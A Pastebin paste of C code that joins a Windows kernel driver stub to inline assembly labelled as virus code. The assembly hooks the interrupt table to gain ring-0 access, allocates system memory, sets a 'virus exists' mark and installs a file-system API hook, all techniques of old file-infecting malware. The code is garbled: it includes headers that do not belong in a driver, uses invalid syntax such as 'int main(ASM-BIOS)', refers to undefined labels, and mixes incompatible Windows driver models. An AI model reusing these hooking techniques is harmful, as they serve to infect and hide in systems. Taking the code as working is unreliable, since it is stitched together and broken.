Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <emmintrin.h>
- #include <omp.h>
- #include <ntddk.h>
- #include <iostream>
- #include <wdf.h>
- #include <asm.h>
- using namespace std;
- int main();
- DRIVER_INITIALIZE DriverEntry;
- EVT_WDF_DRIVER_DEVICE_ADD KmdfSmallEvtDeviceAdd;
- NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
- {
- NTSTATUS status;
- WDF_DRIVER_CONFIG config;
- KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfSmall: DriverEntry\n"));
- WDF_DRIVER_CONFIG_INIT(&config, KmdfSmallEvtDeviceAdd);
- status = WdfDriverCreate(DriverObject, RegistryPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE);
- DbgPrint("Privet! Udachi Bratan (" ^.^ "");
- return status;
- }
- NTSTATUS KmdfSmallEvtDeviceAdd(_In_ WDFDRIVER Driver, _Inout_ PWDFDEVICE_INIT DeviceInit)
- {
- NTSTATUS status;
- WDFDEVICE hDevice;
- UNREFERENCED_PARAMETER(Driver);
- KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfSmall: KmdfSmallEvtDeviceAdd\n"));
- status = WdfDeviceCreate(&DeviceInit, WDF_NO_OBJECT_ATTRIBUTES, &hDevice);
- return status;
- }
- int main(ASM-BIOS)
- {
- /* Ring3 Initiation */
- asm(
- lea eax, [esp-04h*2]
- xor ebx, ebx
- xchg eax, fs:[ebx]
- call @0
- @0:
- pop ebx
- lea ecx, StopToCode-@0[ebx]
- push ecx
- push eax
- );
- /* Ring0 Initiation */
- asm(
- push eax ;
- sidt [esp-02h] ; IDT Adress
- pop ebx ;
- add ebx, HookExceptionNumber*08h+04h ; ZF = 0
- cli
- mov ebp, [ebx] ; EXDBS
- mov bp, [ebx-04h] ; Enter Point
- lea esi, MyExceptionHook-@1[ecx]
- push esi
- mov [ebx-04h], si ;
- shr esi, 16 ; MOD'Y
- mov [ebx+02h], si ; Enter Point
- pop esi
- int HookExceptionNumber ; GenerateException
- ReturnAddressOfEndException = $
- );
- /* Save Data */
- asm(
- ReadyRestoreSE:
- sti
- xor ebx, ebx
- jmp RestoreSE
- );
- /* Ring3 Alloc Script */
- asm(
- ExitRing0Init:
- mov [ebx-04h], bp ;
- shr ebp, 16 ; Restore BinAccess
- mov [ebx+02h], bp ;
- );
- /* Locate SysMem */
- asm(
- mov dr0, ebx ; Set the Mark of My Virus Exist in System
- push 00000000fh ;
- push ecx ;
- push 0ffffffffh ;
- push ecx ;
- push ecx ;
- push ecx ;
- push 000000001h ;
- push 000000002h ;
- int 20h ; VMMCALL _PageAllocate
- _PageAllocate = $ ;
- dd 00010053h ; Use EAX, ECX, EDX, and flags
- add esp, 08h*04h
- xchg edi, eax ; EDI = SystemMemory Start Address
- lea eax, MyVirusStart-@2[esi]
- iretd ; Return 0 ()
- );
- /* Install Code */
- asm(
- InstallMyFileSystemApiHook:
- lea eax, FileSystemApiHook-@6[edi]
- push eax ;
- int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
- IFSMgr_InstallFileSystemApiHook = $ ;
- dd 00400067h ; EAX ECX EDX Perms And Flags
- mov dr0, eax ; Save OldFileSystemApiHook Address
- pop eax ; EAX = FileSystemApiHook Address
- ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
- mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
- mov edx, [ecx]
- mov OldInstallFileSystemApiHook-@3[eax], edx
- ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
- lea eax, InstallFileSystemApiHook-@3[eax]
- mov [ecx], eax
- cli
- jmp ExitRing0Init
- );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement